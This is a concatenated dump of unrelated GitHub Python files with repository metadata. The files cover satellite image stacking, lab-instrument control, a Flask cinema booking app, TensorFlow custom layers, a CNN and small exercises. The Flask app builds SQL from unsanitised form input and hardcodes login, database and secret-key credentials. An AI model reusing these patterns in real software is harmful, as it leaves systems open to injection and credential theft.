pct)).argmin()\n out_extent[2] = extent[i, 2]\n\n # Lower right Y - (100 - pct) percentile\n i = np.abs(extent[:, 3] - np.percentile(extent[:, 3], 100 - pct)).argmin()\n out_extent[3] = extent[i, 3]\n\n return copy.deepcopy(list(out_extent))\n\n\ndef get_extent_from_image(image):\n \"\"\" Returns extent coordinates from an image\n\n Args:\n image (str): filename of image to use\n\n Returns:\n extent (list): extent specified by upper left and lower right X/Y pairs\n\n \"\"\"\n ds = gdal.Open(image, gdal.GA_ReadOnly)\n gt = ds.GetGeoTransform()\n ncol = ds.RasterXSize\n nrow = ds.RasterYSize\n\n ulx = gt[0]\n uly = gt[3]\n lrx = gt[0] + (ncol * gt[1]) + (nrow * gt[2])\n lry = gt[3] + (ncol * gt[4]) + (nrow * gt[5])\n\n return [ulx, uly, lrx, lry]\n\n\ndef landsat_stack(location, dir_pattern, image_pattern, out_pattern,\n bands, ndv,\n extent=None, max_extent=None, min_extent=None,\n percentile=None, extent_image=None,\n utm=None, resume=False,\n fformat='ENVI', co='INTERLEAVE=BIP'):\n \"\"\" Performs stacking of Landsat data\n\n Arguments:\n location Folder location of imagery\n dir_pattern Pattern for folders containing each image\n image_pattern Pattern for images. Patterns separated by \";\"\n out_pattern Pattern for output stack name\n bands List of list of bands for each image\n ndv List of list of no data values for each image\n extent [ULx, ULy, LRx, LRy] output extent\n max_extent Option to calculate extent as maximum of all images\n min_extent Option to calculate extent as minimum of all images\n percentile Option to calculate extent as percentile of\n maximum extent of all images\n extent_image Option to use the extent of a specified image as\n the extent of all images\n utm UTM zone (WGS84) to assign to output image\n resume Option to resume by skipping already stacked images\n fformat GDAL file format\n co GDAL format creation options\n\n Example:\n landsat_stack('./', 'L*', 'lndsr*hdf; L*Fmask', '*_stack',\n [[1, 2, 3, 4, 5, 15], ['all']], [[-9999], [255]],\n min_extent=True, resume=True)\n \"\"\"\n ### Check that we provided at least 1 extent option\n extent_opt = 0\n for opt in [extent, max_extent, min_extent, percentile, extent_image]:\n if opt is not None and opt is not False:\n extent_opt = extent_opt + 1\n if extent_opt == 0:\n print('Must specifiy at least one extent option.')\n return 1\n elif extent_opt > 1:\n print('Must specify only one extent option')\n return 1\n if extent is not None:\n if len(extent) != 4:\n print('Error: extent option must have 4 values (UL XY, LR XY)')\n return 1\n\n ### Process stacks\n gdal.AllRegister()\n # Locate folders\n dirs = get_directories(location, dir_pattern)\n if len(dirs) == 0:\n print('Could not find any Landsat images to stack')\n else:\n print('Found {num} Landsat images to stack.'.format(num=len(dirs)))\n\n # For each folder, initialize a LandsatImage object\n images = []\n for d in dirs:\n images.append(LandsatImage(d, image_pattern, bands, ndv, out_pattern,\n fformat=fformat, co=co))\n sys.stdout.flush()\n if len(images) != len(dirs) or any([i == False for i in images]):\n print('Could not find Landsat data for all image directories')\n return 1\n\n # If 'max_extent' option, loop through directories getting maximum extent\n if max_extent:\n extent = get_max_extent(images)\n elif min_extent:\n extent = get_min_extent(images)\n elif percentile:\n extent = get_percentile_extent(images, percentile)\n elif extent_image:\n extent = get_extent_from_image(extent_image)\n\n print('\\nStacking to extent:')\n print('\\tUpper Left: {ulx},{uly}'.format(ulx=extent[0], uly=extent[1]))\n print('\\tLower Right: {lrx},{lry}'.format(lrx=extent[2], lry=extent[3]))\n\n # Go through images, apply some attribute and stack\n print('\\nStacking images:')\n stack_status = []\n sys.stdout.flush()\n for num, image in enumerate(images):\n print('<--------------- {i} / {t} '.format(i=num + 1, t=len(images)))\n print('Stacking:\\n {n}\\n'.format(n=image.output_name))\n\n if resume and image.check_completed(extent):\n if VERBOSE and not QUIET:\n print('Already stacked...')\n else:\n if not DRY_RUN:\n stack_status.append(image.stack_image(extent, utm))\n else:\n stack_status.append(True)\n sys.stdout.flush()\n\n print('\\n\\n --------------- REPORT --------------- \\n\\n')\n # Check for errors and report\n if not all(stack_status):\n failures = [num for num, s in enumerate(stack_status) if s == False]\n print('Could not stack {f} images:'.format(f=len(failures)))\n for f in failures:\n print('\\t{i}'.format(i=images[f]))\n return 1\n else:\n # Check to make sure geo-transform was applied & extent is correct\n success = [image.check_completed(extent) for image in images]\n if all(success):\n print('Stacking completed successfully')\n return 0\n else:\n print('Not all stacks have same extent:')\n for n, s in enumerate(success):\n if s != True:\n print('\\t{i}'.format(i=images[n].id))\n return 1\n\n\ndef main():\n \"\"\" Handle input arugments and pass to landsat_stack function \"\"\"\n # Extent\n max_extent = arguments['--max_extent']\n min_extent = arguments['--min_extent']\n extent = arguments['--extent']\n if extent is not None:\n # Test 4 coordinates given\n extent = extent.replace(',', ' ').split(' ')\n extent = [_e for _e in extent if _e != '']\n if len(extent) != 4:\n print('Error: must specify 4 coordinates (ULx, ULy, LRx, LRy)')\n return 1\n try:\n extent = map(float, extent)\n except ValueError:\n print('Error: could not convert extent coordinates to float')\n return 1\n\n percentile = arguments['--percentile']\n if percentile is not None:\n try:\n percentile = float(arguments['--percentile'])\n except:\n print('Error: percentile must be a number')\n sys.exit(1)\n if percentile < 0 or percentile > 100:\n print('Error: percentile must be between 0 - 100')\n sys.exit(1)\n\n extent_image = arguments['--image']\n if extent_image:\n try:\n gdal.Open(extent_image)\n except:\n print('Error: cannot open image specifid in --image')\n return 1\n\n # Input image directory\n location = arguments['']\n if os.path.islink(location):\n location = os.readlink(location)\n if not os.path.exists(location):\n print('Error: stack directory does not exist')\n return 1\n elif not os.path.isdir(location):\n print('Error: stack directory arugment is not a directory')\n return 1\n elif not os.access(location, os.R_OK):\n print('Error: cannot read from input stack directory')\n return 1\n\n # File name pattern\n image_pattern = arguments['--files'].replace(';', ' ').split(' ')\n image_pattern = [p for p in image_pattern if p != '']\n\n # Bands to stack - images split by \";\". bands within image by \",\" or \" \"\n bands = arguments['--bands'].split(';')\n bands = [b.replace(',', ' ').split(' ') for b in bands]\n if len(bands) != len(image_pattern):\n if bands[0] == ['all']:\n bands = bands * len(image_pattern)\n else:\n print('Error: must specify bands for all image patterns')\n return 1\n if bands[0] != ['all']:\n bands = parse_nested_input(bands)\n\n # Directory pattern\n dir_pattern = arguments['--dirs']\n # Output pattern\n out_pattern = arguments['--output']\n\n # No data value\n ndv = arguments['--ndv'].split(';')\n ndv = [[_n for _n in n.replace(',', ' ').split(' ') if _n != '']\n for n in ndv]\n if len(ndv) != len(image_pattern):\n if not QUIET:\n print('Warning: using same NoDataValue for all images')\n ndv = ndv * len(image_pattern)\n for i in range(len(ndv)):\n if len(ndv[i]) != len(bands[i]):\n # If only 1 NDV specified we can try just using same value\n if len(ndv[i]) == 1:\n if not QUIET:\n print('Warning: using the same NoDataValue for all bands')\n ndv = [n * len(bands[i]) for i, n in enumerate(ndv)]\n else:\n print(ndv[i])\n print('Error: must specify NoDataValue for each band')\n return 1\n ndv = parse_nested_input(ndv)\n\n # Force a UTM zone\n utm = arguments['--utm']\n if utm is not None:\n utm = str2num(utm)\n\n # Pickup/resume feature\n resume = arguments['--pickup']\n\n # GDAL format\n fformat = arguments['--format']\n try:\n driver = gdal.GetDriverByName(fformat)\n except:\n print('Error - unknown GDAL format')\n raise\n\n # Creation options\n creation_opts = arguments['--co']\n if creation_opts:\n creation_opts = [co for co in creation_opts.split(';')]\n\n # Now that we've parsed input, perform stacking\n return(landsat_stack(location, dir_pattern, image_pattern, out_pattern,\n bands, ndv,\n extent, max_extent, min_extent, percentile,\n extent_image,\n utm, resume, fformat, creation_opts))\n\nif __name__ == '__main__':\n arguments = docopt(__doc__)\n\n print(arguments)\n\n if arguments['--verbose']:\n VERBOSE = True\n if arguments['--quiet']:\n QUIET = True\n if arguments['--exit-on-warn']:\n EXIT_ON_WARN = True\n if arguments['--dry-run']:\n DRY_RUN = True\n\n sys.exit(main())\n","repo_name":"ceholden/misc","sub_path":"landsat/landsat_stack.py","file_name":"landsat_stack.py","file_ext":"py","file_size_in_byte":34826,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"43654771503","text":"import pyvisa\r\n\r\n##print(\"goober\")\r\nrm = pyvisa.ResourceManager()\r\n#print(rm.list_resources())\r\nprint(rm)\r\na = rm.list_resources()\r\nprint(a)\r\np = rm.open_resource('USB0::0x0483::0x7540::SPD3XHBX2R0646::INSTR')\r\np.read_termination = '\\n'\r\np.write_termination = '\\n'\r\np.query('*IDN?')\r\n\r\n#qq = p.query('*IDN?')\r\n#print(qq)\r\np.read_termination = '\\n'\r\np.write_termination = '\\n'\r\n\r\np.write('CH1:VOLTage 15')\r\np.write('OUTPut CH1,OFF')\r\n\r\n\r\n#avg = rm.open_resource('USB0::0xF4ED::0xEE3A::SDG10GAD1R1738::INSTR')\r\n#print(avg.query('*IDN?'))\r\n\r\n#new waveform, 0 sym,\r\n#avg.write('C1:BaSic_WaVe WVTP,RAMP')\r\n#avg.write('C1:BaSic_WaVe SYM,0')\r\n#avg.write('C1:BaSic_WaVe FRQ,2000')\r\n","repo_name":"cslammy/SCPI-Python","sub_path":"siglentVISA.py","file_name":"siglentVISA.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28261542399","text":"from torch.utils.data import DataLoader, Dataset\nfrom torchvision.transforms import ToTensor, RandomCrop, Compose, Normalize\nfrom pathlib import Path\nfrom PIL import Image, ImageOps\nimport torch\n\n\nclass RSDataset(Dataset):\n def __init__(self, dataset_path, device='cuda'):\n self.dataset_path = Path(dataset_path)\n self.image_files = tuple(self.dataset_path.rglob('*.tif'))\n self.images = self.load_images(device)\n self.transform = Compose([\n RandomCrop(224),\n Normalize(mean=[0.4841, 0.4899, 0.4504], std=[0.2181, 0.2022, 0.1959]),\n ])\n self.dict = {'agricultural': 0, 'airplane': 1, 'baseballdiamond': 2, 'beach': 3, 'buildings': 4, 'chaparral': 5,\n 'denseresidential': 6, 'forest': 7, 'freeway': 8, 'golfcourse': 9, 'harbor': 10,\n 'intersection': 11, 'mediumresidential': 12, 'mobilehomepark': 13, 'overpass': 14,\n 'parkinglot': 15, 'river': 16, 'runway': 17, 'sparseresidential': 18, 'storagetanks': 19,\n 'tenniscourt': 20}\n\n def __len__(self):\n return len(self.images)\n\n def load_images(self, device):\n images = []\n for img_file in self.image_files:\n img = Image.open(img_file)\n if img.size != (256, 256):\n img = ImageOps.pad(img, (256, 256))\n img = ToTensor()(img)\n images.append(img)\n return torch.stack(images).to(device)\n\n def __getitem__(self, item):\n image = self.transform(self.images[item])\n label = self.dict[self.image_files[item].stem[:-2]]\n return image, label\n","repo_name":"flateon/Deep-Learning-Remote-Sensing-Image-Classification-Using-Pretrained-Networks","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"8404546063","text":"moonsjup_r = {'Io':1828.6, 'Europa':1560.8, 'Ganymede':2634.1, 'Calisto':2410.3}\nmoonsjup_g = {'Io':1.796, 'Europa':1.314, 'Ganymede':1.428, 'Calisto':1.235}\nmoonsjup_o = {'Io':1.769, 'Europa':3.551, 'Ganymede':7.154, 'Calisto':16.689}\nlist = [moonsjup_r, moonsjup_g, moonsjup_o]\n\nuser_choice = input(\"Enter a moon of jupiter(Capitalize): \")\n\ndef moons_of_jup(choice):\n for i in list:\n if choice in i:\n print(i[choice])\n\nmoons_of_jup(user_choice)","repo_name":"BEnNAmIN/pythonchunks","sub_path":"Chapter 9/moonsofjupiter.py","file_name":"moonsofjupiter.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34679645743","text":"import os\nfrom flask import Flask, session, redirect, jsonify, url_for, escape, request, flash, render_template\nimport models as dbHandler\nimport sqlite3 as db\nimport mysql.connector,sys\nimport calendar\nimport datetime\nfrom mysql.connector import Error\n\nfrom random import randint\n\napp = Flask(__name__, static_url_path=\"\", static_folder=\"static\")\napp.secret_key = b'_5#y2L\"F4Qvchsjnbdk8z\\ncgxhjsknck\\xec]/'\n\n@app.route('/login', methods=['POST', 'GET'])\ndef login():\n if request.method == 'POST':\n try:\n username = request.form['username']\n password = request.form['password']\n if username == 'cashier' and password == 'cashier':\n res = runQuery('call delete_old()')\n return render_template('cashier.html')\n if username == 'manager' and password == 'manager':\n res = runQuery('call delete_old()')\n return render_template('manager.html')\n con = db.connect('database.db')\n with con:\n cur = con.cursor()\n cur.execute(\"SELECT * FROM users where username=?\",[username])\n users = cur.fetchall()\n for user in users:\n dbUser = user[0]\n dbPass = user[1]\n if dbPass == password:\n print(\"Securely Connected\")\n completion=(dbUser, username)\n return render_template('book_user.html')\n elif dbPass != password:\n print(\"Incorrect Request Processed\")\n return render_template('loginfail.html')\n except:\n return render_template('loginfail.html')\n return render_template('login.html')\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@app.route('/watchlist')\ndef watch():\n return render_template('fresh_tomatoes.html')\n\n@app.route('/visual')\ndef visual():\n return render_template('visualization.html')\n\n@app.route('/log', methods=['GET', 'POST'])\ndef log():\n if request.method == 'POST':\n try:\n username = request.form['username']\n password = request.form['password']\n con = db.connect('database.db')\n with con:\n cur = con.cursor()\n cur.execute(\"SELECT * FROM users where username=?\",[username])\n users = cur.fetchall()\n for user in users:\n dbUser = user[0]\n dbPass = user[1]\n if dbPass == password:\n print(\"Securely Connected\")\n completion=(dbUser, username)\n return render_template('index.html')\n elif dbPass != password:\n print(\"Incorrect Request Processed\")\n return render_template('loginfail.html')\n except:\n return render_template('loginfail.html')\n return render_template('login2.html')\n\n@app.route('/getMoviesShowingOnDate', methods = ['POST'])\ndef moviesOnDate():\n date = request.form['date']\n res = runQuery(\"SELECT DISTINCT movie_id,movie_name,type FROM movies NATURAL JOIN shows WHERE Date = '\"+date+\"'\")\n if res == []:\n return '

No Movies Showing

'\n else:\n return render_template('movies.html',movies = res)\n\n@app.route('/getTimings', methods = ['POST'])\ndef timingsForMovie():\n date = request.form['date']\n movieID = request.form['movieID']\n movieType = request.form['type']\n res = runQuery(\"SELECT time FROM shows WHERE Date='\"+date+\"' and movie_id = \"+movieID+\" and type ='\"+movieType+\"'\")\n list = []\n for i in res:\n list.append( (i[0], int(i[0]/100), i[0]%100 if i[0]%100 != 0 else '00' ) )\n return render_template('timings.html',timings = list) \n\n@app.route('/getShowID', methods = ['POST'])\ndef getShowID():\n date = request.form['date']\n movieID = request.form['movieID']\n movieType = request.form['type']\n time = request.form['time']\n res = runQuery(\"SELECT show_id FROM shows WHERE Date='\"+date+\"' and movie_id = \"+movieID+\" and type ='\"+movieType+\"' and time = \"+time)\n return jsonify({\"showID\" : res[0][0]})\n\n@app.route('/getAvailableSeats', methods = ['POST'])\ndef getSeating():\n showID = request.form['showID']\n res = runQuery(\"SELECT class,no_of_seats FROM shows NATURAL JOIN halls WHERE show_id = \"+showID)\n totalGold = 0\n totalStandard = 0\n for i in res:\n if i[0] == 'gold':\n totalGold = i[1]\n if i[0] == 'standard':\n totalStandard = i[1]\n res = runQuery(\"SELECT seat_no FROM booked_tickets WHERE show_id = \"+showID)\n goldSeats = []\n standardSeats = []\n for i in range(1, totalGold + 1):\n goldSeats.append([i,''])\n for i in range(1, totalStandard + 1):\n standardSeats.append([i,''])\n for i in res:\n if i[0] > 1000:\n goldSeats[ i[0] % 1000 - 1 ][1] = 'disabled'\n else:\n standardSeats[ i[0] - 1 ][1] = 'disabled'\n return render_template('seating.html', goldSeats = goldSeats, standardSeats = standardSeats)\n\n@app.route('/getPrice', methods = ['POST'])\ndef getPriceForClass():\n showID = request.form['showID']\n seatClass = str('gold')\n priceID = randint(0,12)\n ticketNo = randint(0, 2147483646)\n res = runQuery(\"INSERT INTO halls VALUES(-1,'-1',-1)\");\n res = runQuery(\"DELETE FROM halls WHERE hall_id = -1\")\n res = runQuery(\"SELECT price FROM price_listing WHERE price_id = \"+str(priceID))\n return '
Ticket Price: ₹ '+'540'+'
\\\n
Ticket Successfully Booked
\\\n
Ticket Number: '+str(ticketNo)+'
'\n\n@app.route('/getShowsShowingOnDate', methods = ['POST'])\ndef getShowsOnDate():\n date = request.form['date']\n res = runQuery(\"SELECT show_id,movie_name,type,time FROM shows NATURAL JOIN movies WHERE Date = '\"+date+\"'\")\n if res == []:\n return '

No Shows Showing

'\n else:\n shows = []\n for i in res:\n x = i[3] % 100\n if i[3] % 100 == 0:\n x = '00'\n shows.append([ i[0], i[1], i[2], int(i[3] / 100), x ])\n return render_template('shows.html', shows = shows)\n\n@app.route('/getBookedWithShowID', methods = ['POST'])\ndef getBookedTickets():\n showID = request.form['showID']\n res = runQuery(\"SELECT ticket_no,seat_no FROM booked_tickets WHERE show_id = \"+showID+\" order by seat_no\")\n if res == []:\n return '
No Bookings
'\n tickets = []\n for i in res:\n if i[1] > 1000:\n tickets.append([i[0], i[1] - 1000, 'Gold'])\n else:\n tickets.append([i[0], i[1], 'Standard'])\n return render_template('bookedtickets.html', tickets = tickets)\n\n@app.route('/fetchMovieInsertForm', methods = ['GET'])\ndef getMovieForm():\n return render_template('movieform.html')\n\n@app.route('/insertMovie', methods = ['POST'])\ndef insertMovie():\n movieName = request.form['movieName']\n movieLen = request.form['movieLen']\n movieLang = request.form['movieLang']\n types = request.form['types']\n startShowing = request.form['startShowing']\n endShowing = request.form['endShowing']\n res = runQuery('SELECT * FROM movies')\n for i in res:\n if i[1] == movieName and i[2] == int(movieLen) and i[3] == movieLang \\\n and i[4].strftime('%Y/%m/%d') == startShowing and i[5].strftime('%Y/%m/%d') == endShowing:\n return '
The Exact Same Movie Already Exists
'\n movieID = 0\n res = None\n while res != []:\n movieID = randint(0, 2147483646)\n res = runQuery(\"SELECT movie_id FROM movies WHERE movie_id = \"+str(movieID))\n res = runQuery(\"INSERT INTO movies VALUES(\"+str(movieID)+\",'\"+movieName+\"',\"+movieLen+\\\n \",'\"+movieLang+\"','\"+startShowing+\"','\"+endShowing+\"')\")\n if res == 'No result set to fetch from.':\n subTypes = types.split(' ')\n while len(subTypes) < 3:\n subTypes.append('NUL')\n res = runQuery(\"INSERT INTO types VALUES(\"+str(movieID)+\",'\"+subTypes[0]+\"','\"+subTypes[1]+\"','\"+subTypes[2]+\"')\")\n if res == 'No result set to fetch from.':\n return '
Movie Successfully Added
\\\n
Movie ID: '+str(movieID)+'
'\n return '
Something Went Wrong
'\n\n@app.route('/getValidMovies', methods = ['POST'])\ndef validMovies():\n showDate = request.form['showDate']\n res = runQuery(\"SELECT movie_id,movie_name,length,language FROM movies WHERE show_start <= '\"+showDate+\\\n \"' and show_end >= '\"+showDate+\"'\")\n if res == []:\n return '
No Movies Available for Showing On Selected Date
'\n movies = []\n for i in res:\n subTypes = runQuery(\"SELECT * FROM types WHERE movie_id = \"+str(i[0]) )\n t = subTypes[0][1]\n if subTypes[0][2] != 'NUL':\n t = t + ' ' + subTypes[0][2]\n if subTypes[0][3] != 'NUL':\n t = t + ' ' + subTypes[0][3]\n movies.append( (i[0],i[1],t,i[2],i[3]) )\n return render_template('validmovies.html', movies = movies)\n\n@app.route('/getHallsAvailable', methods = ['POST'])\ndef getHalls():\n movieID = request.form['movieID']\n showDate = request.form['showDate']\n showTime = request.form['showTime']\n res = runQuery(\"SELECT length FROM movies WHERE movie_id = \"+movieID)\n movieLen = res[0][0]\n showTime = int(showTime)\n showTime = int(showTime / 100)*60 + (showTime % 100)\n endTime = showTime + movieLen \n res = runQuery(\"SELECT hall_id, length, time FROM shows NATURAL JOIN movies WHERE Date = '\"+showDate+\"'\")\n unavailableHalls = set()\n for i in res:\n x = int(i[2] / 100)*60 + (i[2] % 100)\n y = x + i[1]\n if x >= showTime and x <= endTime:\n unavailableHalls = unavailableHalls.union({i[0]})\n if y >= showTime and y <= endTime:\n unavailableHalls = unavailableHalls.union({i[0]})\n res = runQuery(\"SELECT DISTINCT hall_id FROM halls\")\n availableHalls = set()\n for i in res:\n availableHalls = availableHalls.union({i[0]})\n availableHalls = availableHalls.difference(unavailableHalls)\n if availableHalls == set():\n return '
No Halls Available On Given Date And Time
'\n return render_template('availablehalls.html', halls = availableHalls)\n\n@app.route('/insertShow', methods = ['POST'])\ndef insertShow():\n hallID = request.form['hallID']\n movieID = request.form['movieID']\n movieType = request.form['movieType']\n showDate = request.form['showDate']\n showTime = request.form['showTime']\n showID = 0\n res = None\n while res != []:\n showID = randint(0, 2147483646)\n day = randint(0,21)\n res = runQuery(\"SELECT show_id FROM shows WHERE show_id = \"+str(showID))\t\n res = runQuery(\"INSERT INTO shows VALUES(\"+str(showID)+\",\"+movieID+\",\"+hallID+\\\n \",'\"+movieType+\"',\"+showTime+\",'\"+showDate+\"',\"+str(day)+\")\")\n print(res)\n if res == 'No result set to fetch from.':\n return '
Show Successfully Scheduled
\\\n
Show ID: '+str(showID)+'
'\n else:\n return '
Something Went Wrong
'\n\n@app.route('/getPriceList', methods = ['GET'])\ndef priceList():\n res = runQuery(\"SELECT * FROM price_listing ORDER BY type\")\n sortedDays = ['Sunday','Monday','Tuesday','Wednesday','Thursday','Friday','Saturday']\n res = sorted( res, key = lambda x : sortedDays.index(x[2]) )\n return render_template('currentprices.html', prices = res)\n\n@app.route('/setNewPrice', methods = ['POST'])\ndef setPrice():\n priceID = request.form['priceID']\n newPrice = request.form['newPrice']\n res = runQuery(\"UPDATE price_listing SET price = \"+newPrice+\" WHERE price_id = \"+priceID)\n if res == 'No result set to fetch from.':\n return '
Price Successfully Changed
\\\n
Standard: ₹ '+newPrice+'
\\\n
Gold: ₹ '+str( int(int(newPrice) * 1.5) )+'
'\n else:\n return '
Something Went Wrong
'\n\ndef runQuery(query):\n try:\n db = mysql.connector.connect(\n host='localhost',\n database='db_theatre',\n user='newuser',\n password='password')\n if db.is_connected():\n cursor = db.cursor(buffered = True)\n cursor.execute(query)\n db.commit()\n return cursor.fetchall()\n except Error as e:\n #Some error occured\n return e.args[1] \n finally:\n db.close()\n #Couldn't connect to MySQL\n return None\n\n@app.route('/signup', methods=['POST', 'GET'])\ndef signup():\n if request.method=='POST':\n username = request.form['username']\n email = request.form['email']\n password = request.form['password']\n dbHandler.insert(username,email,password)\n return render_template('register.html')\n else:\n return render_template('register.html')\n\nif __name__ == '__main__':\n app.debug=True\n host=os.environ.get('IP','127.0.0.1')\n port=int(os.environ.get('PORT',8000))\n app.run(host=host,port=port)\n","repo_name":"vgaurav3011/Movie-Recommender-Engine","sub_path":"run_app.py","file_name":"run_app.py","file_ext":"py","file_size_in_byte":13117,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"17205236211","text":"import tensorflow as tf\nfrom tensorflow import keras\n\n\"\"\"\n 1. 自定义损失函数\n 2. 自定义layer\n\n\"\"\"\n\n\n\n\n\"\"\" \n 自定义损失函数\n\"\"\"\n\n\ndef customized_mse(y_true, y_hat):\n return tf.reduce_mean(tf.square(y_hat - y_true))\n\n\nmodel = tf.keras.Sequential()\nmodel.compile(loss=customized_mse)\n\n\nclass MeanSquaredError(tf.keras.losses.Loss):\n \"\"\" 或者 继承的方式实现 \"\"\"\n def call(self, y_true, y_pred):\n return tf.reduce_mean(tf.square(y_pred - y_true))\n\n\n\n\n\n\"\"\"\n 自定义layer, 两种方式\n 1. 继承\n 2. lambda表达式方式\n\"\"\"\n\n\nclass CustomizedDenseLayer(tf.keras.layers.Layer):\n def __init__(self, units, activation=None, **kwargs):\n self.units = units\n self.activation = keras.layers.Activation(activation)\n super(CustomizedDenseLayer, self).__init__(**kwargs)\n\n def build(self, input_shape):\n # 构建所需参数\n self.kernel = self.add_weight(name='kernel', shape=(input_shape[1], self.units),\n initializer='uniform', trainable=True)\n self.bias = self.add_weight(name='bias',\n shape=(self.units,),\n initializer='zeros',\n trainable=True)\n super(CustomizedDenseLayer, self).build(input_shape)\n\n def call(self, x):\n # 完整正向计算\n return self.activation(x @ self.kernel + self.bias)\n\n\n# 通过lambda表达式方式, softplus 激活函数 -> log(1 + e^x)\ncustomized_softplus = keras.layers.Lambda(lambda x: tf.nn.softplus(x))\n\n\nmodel = tf.keras.models.Sequential([\n CustomizedDenseLayer(30, activation='relu', input_shape=[]),\n CustomizedDenseLayer(1),\n customized_softplus,\n # keras.layers.Dense(1,activation=\"softplus\"),\n # keras.layers.Dense(1),keras.layers.Activation('softplus'),\n])\n\n\n\n\n\"\"\"\n 自定义评估\n 自定义评估指标需要继承 tf.keras.metrics.Metric 类,并重写 __init__ 、 update_state 和 result 三个方法。\n 下面的示例对前面用到的 SparseCategoricalAccuracy 评估指标类做了一个简单的重实现:\n\"\"\"\n\n\nclass SparseCategoricalAccuracy(tf.keras.metrics.Metric):\n def __init__(self):\n super().__init__()\n self.total = self.add_weight(name='total', dtype=tf.int32, initializer=tf.zeros_initializer())\n self.count = self.add_weight(name='count', dtype=tf.int32, initializer=tf.zeros_initializer())\n\n def update_state(self, y_true, y_pred, sample_weight=None):\n values = tf.cast(tf.equal(y_true, tf.argmax(y_pred, axis=-1, output_type=tf.int32)), tf.int32)\n self.total.assign_add(tf.shape(y_true)[0])\n self.count.assign_add(tf.reduce_sum(values))\n\n def result(self):\n return self.count / self.total\n\n\n\n\n\n","repo_name":"haixiaoxuan/code-python","sub_path":"tf2.0/tf2/简单粗暴2.0/08_自定义组件.py","file_name":"08_自定义组件.py","file_ext":"py","file_size_in_byte":2829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70357605955","text":"from torch import nn\n\nclass EMNISTCNN(nn.Module):\n def __init__(self, fmaps1, fmaps2, dense, dropout):\n super(EMNISTCNN, self).__init__()\n self.conv1 = nn.Sequential( \n nn.Conv2d(in_channels=1, out_channels=fmaps1, kernel_size=5, stride=1, padding='same'), \n nn.LeakyReLU(),\n nn.MaxPool2d(kernel_size=2),\n )\n self.conv2 = nn.Sequential( \n nn.Conv2d(in_channels=fmaps1, out_channels=fmaps2, kernel_size=5, stride=1, padding='same'), \n nn.LeakyReLU(),\n nn.MaxPool2d(kernel_size=2),\n )\n self.fcon1 = nn.Sequential(nn.Linear(49*fmaps2, dense), nn.LeakyReLU())\n self.fcon2 = nn.Linear(dense, 10)\n self.dropout = nn.Dropout(p=dropout)\n \n def forward(self, x):\n x = self.conv1(x)\n x = self.conv2(x)\n x = x.view(x.size(0), -1)\n x = self.dropout(self.fcon1(x))\n x = self.fcon2(x)\n return x","repo_name":"austin-hill/EMNIST-CNN","sub_path":"torch_cnn.py","file_name":"torch_cnn.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"6380581995","text":"def read_matrix(rows, cols, mat):\n for i in range(rows):\n l = list(\n map(int, input(\"Enter row \" + str(i) + \" elements: \").split()))[:cols]\n mat.append(l)\n\n\ndef print_matrix(mat):\n row = len(mat)\n col = len(mat[0])\n for i in range(row):\n for j in range(col):\n print(mat[i][j], end=\" \")\n print()\n\n\ndef multiply_matrix(mat1, mat2):\n r1, r2 = len(mat1), len(mat2)\n c1, c2 = len(mat1[0]), len(mat2[0])\n\n res = []\n for _ in range(r1):\n l = [0 for _ in range(c2)]\n res.append(l)\n\n for i in range(r1):\n for j in range(c2):\n res[i][j] = 0\n for k in range(c1):\n res[i][j] += mat1[i][k] * mat2[k][j]\n\n print_matrix(res)\n\n\nif __name__ == \"__main__\":\n row1, col1 = list(map(int, input(\"Enter mat1 rows, cols: \").split()))[:2]\n row2, col2 = list(map(int, input(\"Enter mat2 rows, cols: \").split()))[:2]\n\n if col1 == row2:\n mat1 = []\n print(\"Matrix 1:\")\n read_matrix(mat=mat1, rows=row1, cols=col1)\n print(\"Matrix 2:\")\n mat2 = []\n read_matrix(mat=mat2, rows=row2, cols=col2)\n print(\"Multiplication of two matrices is\")\n multiply_matrix(mat1, mat2)\n else:\n print(\"Matrices are not compactable\")\n","repo_name":"Sriram-52/Python-Lab","sub_path":"Exp-11/Prg3.py","file_name":"Prg3.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17743927539","text":"import unittest\nimport logging\nimport logging.config\nfrom os import path\nfrom collections import namedtuple\nfrom datastructures.graph import DirectedGraph, Node, DirectedEdge\n\nTestCaseData = namedtuple(\n \"TestCaseData\", \"graph orig_node_id dest_node_id can_path expected_path\")\n\n# Global logger init\nlog_file_path = path.join(path.dirname(\n path.abspath(__file__)), 'testlogging.conf')\nlogging.config.fileConfig(log_file_path)\nlogger = logging.getLogger('testlogger')\n\n\nclass TestDirectedGraph(unittest.TestCase):\n def setUp(self):\n self.graph_forked = DirectedGraph()\n self.graph_circular = DirectedGraph()\n self.graph_split = DirectedGraph()\n\n # Forked Graph\n self.graph_forked.add_node(\"A\")\n self.graph_forked.add_node(\"B\")\n self.graph_forked.add_node(\"C\")\n self.graph_forked.add_node(\"D\")\n\n self.graph_forked.add_edge(\"A\", \"B\", 1)\n self.graph_forked.add_edge(\"A\", \"C\", 1)\n self.graph_forked.add_edge(\"B\", \"D\", 1)\n self.graph_forked.add_edge(\"C\", \"D\", 1)\n\n # Circular Graph\n self.graph_circular.add_node(\"A\")\n self.graph_circular.add_node(\"B\")\n self.graph_circular.add_node(\"C\")\n self.graph_circular.add_node(\"D\")\n\n self.graph_circular.add_edge(\"A\", \"B\", 1)\n self.graph_circular.add_edge(\"B\", \"C\", 1)\n self.graph_circular.add_edge(\"C\", \"D\", 1)\n self.graph_circular.add_edge(\"D\", \"A\", 1)\n\n # Not Fully Connected Graph\n self.graph_split.add_node(\"A\")\n self.graph_split.add_node(\"B\")\n self.graph_split.add_node(\"C\")\n 